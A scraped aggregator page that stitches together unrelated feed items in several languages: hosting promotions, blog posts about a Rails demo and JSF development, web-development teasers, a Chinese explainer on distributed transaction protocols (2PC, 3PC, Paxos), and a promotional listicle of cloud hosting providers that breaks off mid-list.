الآن، إذا كنت في حيرة من الذي يستضيف قمة لتحديد من القائمة أعلاه، يمكنك الرجوع إلى مشاركاتي السابقة على:

# استضافة eHost سنويه (+ دومين مجاني مدى الحياة)
# مراجعة استضافة ووردبريس InMotion: هل هي جيدة للأعمال؟

حسنا بالتأكيد، وسوف نستمر تحديث قائمة مع مرور الوقت .

          أرخص وأفضل استضافة THCServers بثمن $23.40 سنوي   
هل تبحث عن أرخص وأفضل استضافة المواقع ؟ نقترح على زوار مدونة العرب التقنية افضل استضافة THCServers لعام 2017 , Thcservers تقدم المبادئ الطوعية للإستضافة، استضافة مشتركة وVPS بأسعار تنافسية للغاية. تأسست الشركة في عام 2013 ومقر الشركة في  أستراليا. الى جانب ذلك، كما أنها توفر شهادات SSL مجانا العام الأول و VPN وخدمات تصميم المواقع والسيو أيضا. كما أنها توفر استضافة مشتركة بأسعار منخفضة مع ضمان الجهوزية 99.99٪. الخطط التي تستضيفهم تأتي مع العديد من السمات البارزة مثل عرض النطاق الترددي غير محدود، مساحة القرص، والنسخ الاحتياطي التلقائي يوميا، قواعد بيانات MySQL، FTP حسابات غير محدودة ولوحة التحكم سهلة الاستخدام ، والخيار للآلات إنتل وأيه إم دي المعتمدة. وعلاوة على ذلك، يتوفر من خلال التذاكر أو نظام البريد الإلكتروني مع قاعدة معرفية سليمة دعمها التقني. استضافة أسعار حزمة الشركة منخفضة جدا، وتأتي مع مجموعة من المزايا استضافة ممتازة.


أرخص وأفصل استضافة thcservers بثمن $23.40 سنوية

أسعار، خطط ومميزات THCServers.com - 2017


خطط أسعار استضافة المواقع التشاركية


أرخص وأفضل استضافة THCServers


خطط أسعار خدمات استضافة VPS

أرخص وأفضل استضافة THCServers


خطط الملقمات المخصصة


أرخص وأفضل استضافة THCServers

تقييمات مستخدمي THCServers.com


الخلاصة: يجب عليك شراء استضافة THCServers ؟

لا تنسى أن تشارك هذه الاستضافة الرهيبة على وسائل الاعلام الاجتماعية. في الفيسبوك، جوجل وتويتر.

          Seis años de cambrico.net   

Aunque no esté escribiendo mucho últimamente -está esto muy abandonado-, el 6 de Abril 2014 se cumplieron 6 años desde que comencé este blog, y como me gusta hacer "meta-posts", aquí viene el de este año!

  • Visitas totales: 155.931
  • Páginas vistas: 194.993
  • Páginas / visita: 1,25
  • Duración media: 1m28s

El contenido más popular fue "lo de siempre":

Lo más visto sobre Drupal es el artículo Módulo Views 3 para Drupal 7: Tipos de presentación, formatos y campos, en la 8ª posición, con 5,361 visitas este año.

¡Muchas gracias a los que os habeis pasado este año y habeis comentado, compartido o leido alguno de los posts!


          remote cronjob   
Folgendes Problem hat mich so viel Nerven gekostet, dass ich die Lösung nicht für mich behalten möchte: Auf einer Webseite soll regelmäßig ein Backup der Datenbank gemacht werden. Für solche Zwecke bietet sich MySQLDumper an. Einziges Problem: Der Hoster der Webseite bietet keine Möglichkeit, irgendwelche Cronjobs laufen zu lassen (jedenfalls nicht im aktuellen Hosting-Paket). Macht ja nichts, für solche Zwecke gibt es ja amerikanische Provider wie z.B. Arvixe oder HostGator – bei denen gehören Cronjobs sozusagen schon zur Grundausstattung… Ein → weiterlesen
          Rails at the Denver JUG   
The weather wreaked havoc on our meeting Wednesday night. Bruce Tate and I were supposed to perform a tag-team event, but Bruce never made it out of Texas due to severe weather. While that was going I on, I was stuck in traffic in 94 degree heat on my way to the meeting.

Bruce Snyder and Jeff Genender stepped in for Bruce Tate and gave what I'm sure was a fine presentation. I heard Jeff say that you could call him Tate, which I thought was excellent improvisation, but then I didn't hear another word as I sat in the crowd going through my Rails demos.

At the plush Qwest auditorium we had comfortable seats as always, but no air conditioning. The room was packed and it was murder. By the end of Bruce's talk it was so hot that I was feeling a little woosy.

I was up next, so I drank some water and stepped up to the podium. It was hot hot hot and I noticed that we'd lost maybe 15% of the original crowd. I can't blame them. Signing up for another hour in that room took something bordering on bravery.

Over the weekend, while I was preparing for the Rails talk, I was thinking about how easy it is to get a simple CRUD app up and running in Rails. Then it hit me: get a volunteer from the audience to implement an app, in real-time in front of the crowd. So tonight I asked for a volunteer, and at first I thought no one would volunteer, even though I'd threatened to halt the talk if nobody stepped forward. Finally, a gentleman in the back named Kirk raised his hand and I knew we were going to have fun with this. So I had Kirk create a Rails app (rails address_book), create a database in MySQL (with YourSQL GUI), initialize the database with a single table and some data, create some Rails scaffolding, start the server and bang! a web application.

I managed to rattle poor Kirk a couple of times. The first time we were populating the db. After the mundane task of 'rails address_book' I asked Kirk, in front of the audience, to create a contacts table with an id, int, not null, auto increment, with a name field, varchar 100 not null, all of which I said as fast as I could. And then could he insert Fred and Wilma Flintstone into the contacts table? (I had after all, when I asked for volunteers, asked for MySQL literacy). I don't know if the audience could see Kirk's face, but he looked a bit panicky to me. So I asked Kirk if it was okay if I took over this step as I was a fast typist. Kirk was very cooperative. Before the talk, I had copied all that SQL into my editor's undo buffer (hey, I learned a trick or two at JavaOne!) and I blitted that into a file in an instant, much to Kirk's relief.

The other time, Kirk updated mysql with our SQL. He did a mysql -u root, and of course was prompted for the password. He looked at me and backed away from my Mac a bit and I went up to type my password. I put my hands on the keyboard and saw Kirk looking at me out of the corner of my eye. Without typing anything I turned and looked at him as if to say 'you're not watching me type my password, are you?'. The crowd thought that was pretty funny. Me too. I'm not so sure about Kirk.

In the end, Kirk pulled off the demo without a hitch. That says something about Kirk, but it speaks volumes about Rails. After he left the podium, I added some users to the db and refreshed the app and there, magically, were the new rows in the database. Then I tweaked the pagination parameter for the controller that controls page size from 10 to 5, saved the file and refreshed the browser. I asked the audience if they noticed how long that deployment took. Then I changed the prameter to 3 and then to 2 and reran the demo each time. Each time, the number of contacts displayed updated according to the pagination parameter and each time the redeploy time was, well zero. That got people's attention.

After Kirk's demo, I gently lulled the audience to sleep with sweet whispers of action pack, controllers and views. But just as they were dozing off, I pulled the Ajax demo out of my back pocket. I suppose in Ajax terms and internet time, my Ajax demo was rather mild. Nowadays, folks probably expect drag and drop and puffs and squishes and so forth. But, still, my Ajaxed version of Four Days on Rails was enough to raise some eybrows, I think. Instead of loading another page to add a new todo item or edit an existing one, I've used ajax to inline input controls into the items table. And much to my surprise, with Rails 0.13.1, it's quite a bit snappier than with Rails 0.12.

Well I've been elected
to rock your asses 'till midnight

Kick out the Jams
The Presidents of the United States from
The Presidents of the United States


          Can of WhoopAss   
I must admit it's been a while since I've written production code. Over the past couple years, my consulting has consisted mostly of training other developers. I've also been fortunate enough to contribute to some open-source projects, like Struts and Tiles, in addition to writing books and speaking on the NFJS tour. So my current consulting job, where I was able to hand-pick the technologies I wanted to use—JSF, Commons Chain, Shale, Tiles, SiteMesh, Hibernate and Spring—in addition to actually writing a great deal of code, has been a real gas.

I've been working mostly at home for the past couple weeks, implementing the user interface for this project. To make substantial progress, I mocked out our persistence layer for the most part, touching only a local MySQL database for login and authentication. This week, I'm back in Cleveland, and my good friend Rob Gordon and I have been integrating our code.

Theoretically, I know that I should be able to use mocks and then integrate with business delegates when the time comes. Theoretically, I should also be able to switch from MySQL to DB2 with one simple change to a configuration file. In practice, this has worked exactly as advertised: Rob, who is doing the same sort of remote development, and I were able to integrate our code and switch databases in just over one day. And man, is it sweet to have a moderately complex application implemented entirely with Tiles. I'm able to change the UI, in nearly any fashion I desire, with simple changes to the Tiles config file. Of course, since I invented Tiles to begin with, I knew that was possible, but to actually see it work in practice is killer. We've also got a requirement to provide print links for certain tiles, so I'll use SiteMesh for that when the time comes.

As some of you know, I'm a huge SmallTalk fan. I was lucky early on in my career to use ST and C++ simultaneously (which of course, gave me much disdain for the latter). For nearly 10 years now, I've been using Java almost exclusively, and only now, with the advent of mature technologies like JSF, Spring and Tiles, have I been able to approach the level of productivity that I recall from my ST days.


          VB.Net Developers Needed   
Web Design Taxi is seeking VB.Net developers in the Quad Cities area for temporary contract work. If you are qualified, simply email your resume in word or pdf format to admin@webdesigntaxi.com It helps if you have experience with Visual Studio 2008. Other pluses would be knowledge of C#, Asp.Net, XML, Javascript, and connecting MySql to […]
          Instrumente SEO gratis pentru optimizare site   
Dacă ești webmaster și vrei să îmbunătățești poziția pe care o are site-ul tău în Google, Bing, Yahoo sau alte motoare de căutare, cred că vei găsi extrem de utilă lista de instrumente SEO de mai jos. Toate resursele enumerate sunt gratuite și cu siguranță te vor ajuta în procesul de analizare și optimizare a ...
          Script "stinge lumina" pe site (turn off lights)   
Probabil că ați văzut pe multe site-uri un buton sau un link care, dacă este apăsat, "stinge lumina" în toată pagina exceptând o porțiune, de obicei un filmuleț sau o imagine. Să ne imaginăm următorul scenariu: vizionăm un film sau un videoclip pe un site iar pe pagina respectivă sunt tot felul de elemente care ne ...
          Tutorial web server replication (rsync și MySQL)   
Înainte de începerea tutorialului să discutăm puțin despre ce înseamnă web server replication și la ce ne folosește. Să spunem că avem un server web pe care ținem un site foarte vizitat, prin urmare, vom ajunge în situația în care server-ul, din punct de vedere hardware, nu o să mai facă față traficului mare al ...
          Creearea unui script de paginare în PHP   
Oricine a făcut un website cu adăugare de conținut dinamic, cu siguranță s-a lovit de problema paginării datelor. Paginarea reprezintă împărțirea conținutului afișat, pe mai multe pagini. De ce vrem să facem asta? Răspunsul este simplu: Să ne imaginăm un blog cu 1000 de articole care trebuie să le afișăm. Dacă toate ...
          分布式系统常见的事务处理机制   

为保障系统的可用性、可靠性以及性能,在分布式系统中,往往会设置数据冗余,即对数据进行复制。举例来说,当一个数据库的副本被破环以后,那么系统只需要转换到其他数据副本就能继续运行下去。另外一个例子,当访问单一服务器管理的数据的进程数不断增加时,系统就需要对服务器的数量进行扩充,此时,对服务器进行复制,随后让它们分担工作负荷,就可以提高性能。但同时,如何保障多个数据节点之间数据的一致以及如何处理分布式事务,将成为为一个复杂的话题。本文将介绍常用的事务处理机制。

CAP 定理

CAP 定理(也称为 Brewer 定理),是由计算机科学家 Eric Brewer 提出的,即在分布式计算机系统不可能同时提供以下全部三个保证:

  • 一致性(Consistency):所有节点同一时间看到是相同的数据;
  • 可用性(Availability):不管是否成功,确保每一个请求都能接收到响应;
  • 分区容错性(Partition tolerance):系统任意分区后,在网络故障时,仍能操作

显然,为了保障性能和可靠性,我们将数据复制多份,分布到多个节点上,同时也带来了一个难点,那就是如何保持各个副本数据的一致性。换句话说,我们选择了 AP ,则必须要牺牲掉 C 了。

但是,在实际的应用场景中,数据的一致性往往也是需要保证的。那么这是否违背了 CAP 定理呢?

一致性模型

其实,数据的一致性也分几种情况,大致可以分为:

  • Weak 弱一致性:当你写入一个新值后,读操作在数据副本上可能读出来,也可能读不出来。比如:某些存储系统,搜索引擎,实时游戏,语音聊天等,这些数据本文对完整性要求不高,数据是否一致关系也不大。
  • Eventually 最终一致性:当你写入一个新值后,并不一定能马上读出来,但在某个时间窗口之后保证最终能读出来。比如:DNS,电子邮件,消息中间件等系统,大部分分布式系统技术都采用这类模式。
  • Strong 强一致性:新的数据一旦写入,在任意副本任意时刻都能读到新值。比如:文件系统,RDBMS都是强一致性的。

也就是说,在设计分布式系统时,我们并不一定要求是强一致性的,根据应用场景可以选择弱一致性或者是最终一致性。

事务的作用

事务有如下作用:

  • 保证执行结果的正确性
  • 保证数据的一致性
  • ACID

常见的事务处理机制

Master-Slave 复制

Slave 一般是 Master 的备份。在这样的系统中,一般是如下设计的:

  • 读写请求都由 Master 负责。
  • 写请求写到 Master 上后,由 Master 同步到 Slave 上。

这种机制的特点是:

  • 数据同步通常是异步的
  • 有良好的吞吐量,低延迟 * 在大多数 RDBMS 中支持,比如 MySQL二进制日志
  • 弱/最终一致性

这种机制的缺点是,如果 Master 挂了,Slave 只能提供读服务,而没有写服务。

Master-Master 多主复制

指一个系统存在两个或多个Master,每个Master都提供读写服务。这个机制是Master-Slave的加强版,数据间同步一般是通过Master间的异步完成,所以是最终一致性。 Master-Master的好处是,一台Master挂了,别的Master可以正常做读写服务,他和Master-Slave一样,当数据没有被复制到别的Master上时,数据会丢失。很多数据库都支持Master-Master的Replication的机制。

这种机制的特点是:

  • 异步
  • 最终的一致性
  • 多个节点间需要序列化协议

两阶段提交

两阶段提交协议 (Two-phase commit protocol,2PC)的过程涉及到协调者和参与者。协调者可以看做成事务的发起者,同时也是事务的一个参与者。对于一个分布式事务来说,一个事务是涉及到多个参与者的。具体的两阶段提交的过程如下:

第一阶段(准备阶段)

  • 协调者节点向所有参与者节点询问是否可以执行提交操作(vote),并开始等待各参与者节点的响应。
  • 参与者节点执行询问发起为止的所有事务操作,并将 Undo 信息和 Redo 信息写入日志。(注意:若成功这里其实每个参与者已经执行了事务操作)
  • 各参与者节点响应协调者节点发起的询问。如果参与者节点的事务操作实际执行成功,则它返回一个“同意”消息;如果参与者节点的事务操作实际执行失败,则它返回一个“中止”消息。

第二阶段(提交阶段)

如果协调者收到了参与者的失败消息或者超时,直接给每个参与者发送回滚(Rollback)消息;否则,发送提交(Commit)消息;参与者根据协调者的指令执行提交或者回滚操作,释放所有事务处理过程中使用的锁资源。(注意:必须在最后阶段释放锁资源)

  • 当协调者节点从所有参与者节点获得的相应消息都为“同意”时:
    • 协调者节点向所有参与者节点发出“正式提交(commit)”的请求。
    • 参与者节点正式完成操作,并释放在整个事务期间内占用的资源。
    • 参与者节点向协调者节点发送“完成”消息。
  • 如果任一参与者节点在第一阶段返回的响应消息为”中止”,或者 协调者节点在第一阶段的询问超时之前无法获取所有参与者节点的响应消息时:
    • 协调者节点向所有参与者节点发出”回滚操作(rollback)”的请求。
    • 参与者节点利用之前写入的Undo信息执行回滚,并释放在整个事务期间内占用的资源。
    • 参与者节点向协调者节点发送”回滚完成”消息。
    • 协调者节点受到所有参与者节点反馈的”回滚完成”消息后,取消事务。
    • 协调者节点受到所有参与者节点反馈的”完成”消息后,完成事务

不管最后结果如何,第二阶段都会结束当前事务。

二段式提交协议的优缺点:

优点:原理简单,实现方便;

缺点:

  • 同步阻塞问题。执行过程中,所有参与节点都是事务阻塞型的。
  • 单点故障。由于协调者的重要性,一旦协调者发生故障,参与者会一直阻塞下去。尤其在第二阶段,协调者发生故障,那么所有的参与者还都处于锁定事务资源的状态中,而无法继续完成事务操作。
  • 数据不一致。在阶段二中,当协调者向参与者发送 commit 请求之后,发生了局部网络异常或者在发送 commit 请求过程中协调者发生了故障,这回导致只有一部分参与者接受到了 commit 请求。而在这部分参与者接到 commit 请求之后就会执行 commit 操作。但是其他部分未接到 commit 请求的机器则无法执行事务提交。于是整个分布式系统便出现了数据部一致性的现象。
  • 二阶段无法解决的问题:协调者再发出 commit 消息之后宕机,而唯一接收到这条消息的参与者同时也宕机了。那么即使协调者通过选举协议产生了新的协调者,这条事务的状态也是不确定的,没人知道事务是否被已经提交。

为了解决两阶段提交协议的种种问题,研究者们在二阶段提交的基础上做了改进,提出了三阶段提交。

三阶段提交

三阶段提交协议(Three-phase commit protocol,3PC),是二阶段提交(2PC)的改进版本。与两阶段提交不同的是,三阶段提交有两个改动点:

  • 引入超时机制。同时在协调者和参与者中都引入超时机制。
  • 在第一阶段和第二阶段中插入一个准备阶段。保证了在最后提交阶段之前各参与节点的状态是一致的。

即 3PC 把 2PC 的准备阶段再次一分为二,这样三阶段提交就有 CanCommit、PreCommit、DoCommit 三个阶段。

CanCommit 阶段

CanCommit 阶段其实和 2PC 的准备阶段很像。协调者向参与者发送 commit 请求,参与者如果可以提交就返回 Yes 响应,否则返回 No 响应。

  • 事务询问:协调者向参与者发送 CanCommit 请求。询问是否可以执行事务提交操作。然后开始等待参与者的响应。
  • 响应反馈:参与者接到 CanCommit 请求之后,正常情况下,如果其自身认为可以顺利执行事务,则返回 Yes 响应,并进入预备状态。否则反馈 No

PreCommit 阶段

协调者根据参与者的反应情况来决定是否可以记性事务的 PreCommit 操作。根据响应情况,有以下两种可能。

  • 假如协调者从所有的参与者获得的反馈都是 Yes 响应,那么就会执行事务的预执行。
    • 发送预提交请求:协调者向参与者发送 PreCommit 请求,并进入Prepared 阶段。
    • 事务预提交:参与者接收到 PreCommit 请求后,会执行事务操作,并将undo 和 redo 信息记录到事务日志中。
    • 响应反馈:如果参与者成功的执行了事务操作,则返回 ACK 响应,同时开始等待最终指令。
  • 假如有任何一个参与者向协调者发送了 No 响应,或者等待超时之后,协调者都没有接到参与者的响应,那么就执行事务的中断。
  • 发送中断请求:协调者向所有参与者发送 abort 请求。
  • 中断事务:参与者收到来自协调者的 abort 请求之后(或超时之后,仍未收到协调者的请求),执行事务的中断。

doCommit 阶段

该阶段进行真正的事务提交,也可以分为以下两种情况。

  • 执行提交
    • 发送提交请求:协调接收到参与者发送的 ACK 响应,那么他将从预提交状态进入到提交状态。并向所有参与者发送 doCommit 请求。
    • 事务提交:参与者接收到 doCommit 请求之后,执行正式的事务提交。并在完成事务提交之后释放所有事务资源。
    • 响应反馈:事务提交完之后,向协调者发送 ACK 响应。
    • 完成事务:协调者接收到所有参与者的 ACK 响应之后,完成事务。
  • 中断事务:协调者没有接收到参与者发送的 ACK 响应(可能是接受者发送的不是 ACK 响应,也可能响应超时),那么就会执行中断事务。
    • 发送中断请求:协调者向所有参与者发送 abort 请求
    • 事务回滚:参与者接收到 abort 请求之后,利用其在阶段二记录的undo 信息来执行事务的回滚操作,并在完成回滚之后释放所有的事务资源。
    • 反馈结果:参与者完成事务回滚之后,向协调者发送 ACK 消息
    • 中断事务:协调者接收到参与者反馈的 ACK 消息之后,执行事务的中断。

在 doCommit 阶段,如果参与者无法及时接收到来自协调者的 doCommit 或者 rebort 请求时,会在等待超时之后,会继续进行事务的提交。即当进入第三阶段时,由于网络超时等原因,虽然参与者没有收 到 commit 或者 abort 响应,事务仍然会提交。

三阶段提交不会一直持有事务资源并处于阻塞状态。但是这种机制也会导致数据一致性问题,因为,由于网络原因,协调者发送的 abort 响应没有及时被参与者接收到,那么参与者在等待超时之后执行了 commit 操作,这样就和其他接到 abort 命令并执行回滚的参与者之间存在数据不一致的情况。

Paxos 算法

Paxos 算法是 Leslie Lamport 于1990年提出的一种基于消息传递且具有高度容错特性的一致性算法。Paxos 算法目前在 Google 的 Chubby、MegaStore、Spanner 等系统中得到了应用,Hadoop 中的 ZooKeeper 也使用了 Paxos 算法。

在 Paxos 算法中,分为4种角色:

  • Proposer :提议者
  • Acceptor:决策者
  • Client:产生议题者
  • Learner:最终决策学习者

算法可以分为两个阶段来执行:

阶段1

  • Proposer 选择一个议案编号 n,向 acceptor 的多数派发送编号也为 n 的 prepare 请求。
  • Acceptor:如果接收到的 prepare 请求的编号 n 大于它已经回应的任何prepare 请求,它就回应已经批准的编号最高的议案(如果有的话),并承诺不再回应任何编号小于 n 的议案;

阶段2

  • Proposer:如果收到了多数 acceptor 对 prepare 请求(编号为 n)的回应,它就向这些 acceptor 发送议案{n, v}的 accept 请求,其中 v 是所有回应中编号最高的议案的决议,或者是 proposer 选择的值,如果回应说还没有议案。
  • Acceptor:如果收到了议案{n, v}的 accept 请求,它就批准该议案,除非它已经回应了一个编号大于 n 的议案。
  • Proposer 可以提出多个议案,只要它遵循上面的算法。它可以在任何时刻放弃一个议案。(这不会破坏正确性,即使在议案被放弃后,议案的请求或者回应消息才到达目标)如果其它的 proposer 已经开始提出更高编号的议案,那么最好能放弃当前的议案。因此,如果 acceptor 忽略一个 prepare 或者 accept 请求(因为已经收到了更高编号的 prepare 请求),它应该告知 proposer 放弃议案。这是一个性能优化,而不影响正确性。

参考文献


          Web Developer - SuiteAmerica - El Dorado Hills, CA   
PHP or ColdFusion development with back end experience (Sql and Mysql server). SuiteAmerica, one of the nation’s leading corporate housing companies, is...
From SuiteAmerica - Mon, 12 Jun 2017 11:20:08 GMT - View all El Dorado Hills, CA jobs
          Aprende paso a paso_conexion de_excel_con_my_sql_db_sakila   

APRENDE PASO A PASO Conexion de Excel Con MySQL DB Sakila
          Drupal 7 upgrade   

Wow, 2 posts in one year. I'll try to be less chatty.

I finally upgraded this web site to Drupal 7. One big advantage of Drupal 7 over previous versions is a database abstraction layer based on PHP PDO. This means that all Drupal 7 modules should support PostgreSQL without any additional changes. In previous versions, PostgreSQL module support lagged far behind because developers often coded only for MySQL. Another advantage is Drupal 7 now supports more databases. PostgreSQL, SQLite, and MySQL are officially supported, and any database that supports PDO should theoretically work.


          Drupal 6 site migration from MySQL to PostgreSQL   

          USA Cities and States mysql Dump   
This category dump is for phpLD 3.3 and creates a category structure for the cities and states in the USA.
          Free PHP & MySQL: Novice to Ninja, 5th Edition Complimentary Guide at Tradepub    
none
          Persamaan Messi dan Ronaldo   
在ubuntu上安装禅道时,提示PDO_MySQL扩展检查失败,导致禅道不能安装成功。
解决方法:
#aptitude install php5-mysql 
#/etc/init.d/apache2 restart
安装php5-mysql支持,然后重启apache服务,就可以解决该问题。


zhyiwww 2014-06-30 09:38 发表评论

          Mass email Marketing and anti-spam - some of the how-to..   
Article originally from rooJSolutions blog

I'm sure I've mentioned on this blog (probably a few years ago), that we spent about a year developing a very good anti-spam tool. The basis of which was using a huge number of mysql stored procedures to process email as it is accepted and forwarded using an exim mail server.

The tricks that it uses are numerous, although generally come from best practices these days.

The whole process starts off with creating a database with

  • 'known' servers it has talked to before 
  • 'known' domains it has dealt with before.
  • 'known' email address it has dealt with before.


If an email / server / domain combo is new and not seen before, then apart from greylisting, and delaying the socket connections we also have a optional manual approval process. (using the web client).

Moving on from that we have a number of other tricks, usually involving detecting url links in the email and seeing if any of the email messages that have been greylisted (with different 'from') are also using that url.

On top of this, is a Web User interface to manage the flow and approvals of email. You can see what is in the greylist queue, set up different accounts for different levels of protection (either post-delivery approval, or pre-delivery approval etc..)

This whole system is very effective, when set up correctly. It can produce zero false negatives, and after learning for a while, is pretty transparent to the operations of a company. (email me if you want to get a quote for it, it's not that expensive...)

So after having created the best of breed anti-spam system, in typical fashion, we get asked to solve the other end.. getting large amounts emails delivered to mailing lists.

If you are looking for help with your mass email marketing systems, don't hesitate to contact us sales@roojs.com

Read on to find out how we send out far to many emails (legally and efficiently)


          MySQL for Linux on POWER, Part 1: Introduction to creating a database   
Learn about the availability of MySQL Database Server for Linux(R) running on IBM(R) POWER(TM) and PowerPC(R) processor-based servers (collectively referred to as Linux on POWER). As a brief guide for application developers using MySQL on Linux on POWER, this paper is intended for MySQL developers and database administrators who are familiar with their system environment, networks, media devices, and disk resources. In Part 2 of this article, read about developing applications for MySQL using PHP, C/C++, Java, Perl, and Python.
          ¿Qué es #Geeklog ?   
Geeklog es una aplicación basada sobre PHP y MySQL, y distribuida bajo los términos de la licencia GNU/GPL, para el manejo dinámico de contenido de red. Sin modificaciones tras su instalación, es un motor de bitácora personal, Sistema de Manejo de Contenido (CMS o Content Management System) y/o portal de red. Incluye soporte para comentarios, … Sigue leyendo
          Instalar FAMP: Apache, MySQL y PHP en FreeBSD 10   

Hasta ahora hemos visto FreeBSD 10 tanto en su instalación cómo en la actualización de paquetes.Hoy hablaremos de famp. En el capítulo de hoy trataremos sobre la instalación de un servidor FAMP, que es...

La entrada Instalar FAMP: Apache, MySQL y PHP en FreeBSD 10 aparece primero en ochobitshacenunbyte.


          OracleからMySQLへ 「ストアドプロシージャ」の移行手順と工数評価   
本連載では、商用DBMSからOSSデータベースへの移行を検討する企業に向け、「MySQL」への移行プロジェクトで必要となる具体的なノウハウをお届けします。今回は、ストアドプロシージャの移行に関する難易度評価の手順を解説します。
          How to decrease InnoDB shutdown times - MySQL Performance Blog   
From 2009? How did I miss this?
          Using MMM to ALTER huge tables - MySQL Performance Blog   
none
          Technology Sales Representative IV - Oracle - New Jersey   
Preferred Qualifications The MySQL Global Business Unit is looking for a qualified Field Sales Representative to sell MySQL commercial licenses in a...
From Oracle - Fri, 23 Jun 2017 13:21:42 GMT - View all New Jersey jobs
          Principal Software Engineer (Scala) - $100.00 per hour - Incendia - Boston, MA   
Software Engineer, Software Engineering, Linux, Apache, MongoDB, NoSQL, MySQL, OpenTSDB, HBase, CouchDB, Basho Riak, Accumulo/sqrrl, Cassandra, Hadoop, Hive,... $100 an hour
From Incendia Partners - Mon, 19 Jun 2017 21:53:00 GMT - View all Boston, MA jobs
          sabros.us : Your bookmarks on the web   

Tags:


          Best Cheap Cloud Hosting for Wordpress In 2017   
When we making a new blog on wordpress or website in 2017, after registered domain we search best cheap cloud hosting providers in the world. Which give best cloud hosting services in your country and full support to registered customers and yes best cheap plans or packages.

To establish your existence on internet world, hosting is a process one has to go through. You make yourself a web page or a website to place it on internet is where hosting came in scene. This simple process is responsible for your presence around the globe. A web hosting service provider, is a medium that facilitates website by providing technologies and services to it for its presence over internet. Websites are hosted, or stored, on special computers called servers.

Best Cheap Cloud Hosting for Wordpress In 2017

Cloud Hosting 

A development of the concept of cloud hosting for enterprise customers is the Virtual Data Centre (VDC). This employs a virtualized network of servers in the cloud which can be used to host all of a business’s IT operations including its websites.
It is the network of servers around the globe to store user’s data parallelly on all servers at the same time. It delivers extremely high speed than any other traditional shared hosting. Though it is shared with other individuals but due to the powerful resources (CPU’s, Ram), it’s much better than standard shared hosting, and that is why it’s costly too.
In this type of hosting, If one server goes down, there are many other servers will cover the outage and your site/system never face any disruption. That’s the best feature of this hosting. Cloud user can easily create and restore backups of their content.
There are number of hosting providers all around and here in this article we will discuss about best service providers in the same trade. The best is defined through performance report. Yes performance report. 


Hope you understand now what does cloud hosting do!

What all features should be provided by these service provider companies?

1. Performance platform
How we will define performance report?
Parameters of performance vary from content to keywords, services to pricing plans. Every second of delay can affect your bottom line. They can cause a loss in consumer conversions and abandonment of users from your site. So if all are resolved by any that service provider company will be more in demand.

2. WordPress-specific Security Controls
Secured back ups, consolidated network architecture, monitoring and real-time threat mitigation. All must go features for wordpress website hosting.

3. Uptime Protection & High Availability
Availability with advanced fault tolerance and multi-zone redundancy at all traffic-serving layers. Strong uptime and resiliency to mitigate unexpected failures

4. Performance Intelligence
Real-time performance analytics and optimization recommendations. Automated reporting integrated into development workflows.
Providers of Best Cheap Cloud Hosting for Wordpress In 2017

1. Digital Ocean

simple and robust cloud computing platform, designed for developers.
With great and affordable pricing plans Digital Ocean hosting service provides best of features to users and also assists you when needed any guidance. With more than 500+ clientele and associated with brands like flipkart, salesforce Digital Ocean helps you to be established on internet.

Features
  • Deploy in seconds
  • SSD performance
  • Simple API
  • Highly available storage
  • Lightning fast network
  • Teams work together

Plans
The plan starts from $5/month with resources of 20 GB Disk space, 512 MB Ram, 1 CPU and 1 Terabyte data transfer.

2. Interserver

Features 
  • High Performance Storage
20x faster than standard SATA disk drives, InterServer provides all new virtual private servers with high performance SSD hard drives that range from 30GB to 240GB.
  • 99.9% Uptime Guarantee 
Interserver guarantees hardware, network, and infrastructure uptime of 99.9%
  • Multiple language Servers
The latest versions of PHP, MySQL, Perl, Python, Ruby, and more come pre-installed.
  • Instant Provisioning
Get up and running in seconds
  • Backups and Snapshots
Order backups, manage snapshots and more from inside our management interface

Pricing
At the cost of just $6/month, you can avail a Linux based cloud server with 1 GB of Ram, 25 GB disk space 1 Core CPU, and 1 TB giant monthly bandwidth.

3. Host 1 Plus

Features 
  • Money-back Guarantee
Offering a 14-day money-back guarantee
  • Extreme Scalability
Enjoy flexibility and full control - upgrade to higher plans
  • Full Support
Seek assistance 24/7 and leave your worries behind.

Pricing Plans
Cloud plans start at $4 per month with 512 MB Ram, 20 GB Disk space, and 2 TB monthly bandwidth. There are 6 different plans to choose from with higher configurations. New customers can get 50% discount on 1 to 6 month subscriptions.

4. Bluehost

Features 
  • Monthly Billing
Add resources in a simple, no-nonsense way while avoiding any surprising usage fees at the end of the month.
  • Automated Migration
Enjoy the power of the cloud in minutes with a seamless transition to our new platform.
  • Data Mirroring
Cloud Sites automatically distributes three mirrored copies of your data across multiple devices to ensure safety and protection.

Pricing Plans

Basic plan -
Offering word press cloud storage at the starting price of $6.95 per month. You can host 1 website, 100 Gig disk space, 1 free domain, 2 GB Ram, 2 CPU’s, $50 marketing credits and much more.

Business Plan -
In $15.95/month they offer Dedicated IP, SSL certificate, Spam expert, Privacy guard and Site backup facilities.

5. 1&1

Features
Best Cheap Cloud Hosting for Wordpress In 2017

Pricing
You can grab cloud storage at the price of $9.99 per month with the resources of 50 Gig storage, 1 GB Ram, and 1 vCore processor server.

6. Cloudways

Features 
  • Multiple Cloud Infrastructure
Cloudways lets you choose your cloud infrastructure from Amazon, DigitalOcean, Google, Vultr, and KYUP.
  • Multiple Datacenters
With 25+ major Datacenter locations around the globe, Cloudways ensures that you never have to worry about latency again.
  • Multiple Apps Support
Your server on Cloudways is made for hosting PHP-based web apps.
  • Dedicated Environment
Every cloud server on Cloudways comes with dedicated resources; CPU, RAM, Storage, and IP.
  • SSD Based Hosting
Cloudways Platform offers revolutionary SSD storage that supports blazing fast read-write requests. This cuts your website load-time in half and helps you get high SERP results.
  • CloudwaysBot
Your very own smart assistant helping you optimize your hosted servers and applications by providing real-time performance insights to your subscribed channels.
Pricing
Best Cheap Cloud Hosting for Wordpress In 2017

7. SiteGround

Features 
  • Ultra-Fast Platform
We use lightweight Linux containers with SSD disks for unmatched resource efficiency and site speed.
  • Auto-Scalable Resources
Add more resources to your server in a click or set them to auto-scale upon traffic spikes without rebooting.
  • Fully Managed Servers
We configure and manage the infrastructure and server software to take off your head the day-to-day IT maintenance.
  • Daily Backups
We keep 7 offsite backups of your account from 7 consecutive days to guarantee no data will ever be lost.
  • 24/7 VIP Support
Blazing fast support by real experts! No hold time on chat and phone, less than 10 min replies on tickets.
  • Free CDN & Multiple Locations
You can choose among 4 datacenters and add free CDN for better geographical accessibility and local speed.

Pricing plans
Entry Cloud plan comes with 40 GB Disk space, 4 GB Ram, 2 CPU’s, 5 TB Bandwidth, Dedicated IP, Daily Backup, Free Domain Name and 99.99% uptime guarantee at the price of $80 per month.
Best Cheap Cloud Hosting for Wordpress In 2017

8. Rackspace

Features
  • Always Available
